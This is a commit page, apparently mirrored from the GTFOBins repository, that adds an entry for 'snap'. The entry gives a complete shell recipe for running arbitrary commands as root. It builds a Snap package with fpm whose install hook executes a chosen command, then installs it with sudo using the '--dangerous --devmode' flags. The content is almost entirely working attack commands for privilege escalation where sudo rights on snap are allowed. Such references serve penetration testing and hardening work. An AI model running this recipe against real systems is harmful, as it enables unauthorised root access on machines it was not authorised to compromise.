1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
This commit is contained in:
godylockz 2021-04-09 02:57:02 -04:00 committed by GitHub
parent 6fda805b6a
commit 39027eb0c1
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/snap.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
sudo:
- description: |
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n x -s dir -t snap -a all meta
```
code: |
sudo snap install x_1.0_all.snap --dangerous --devmode
---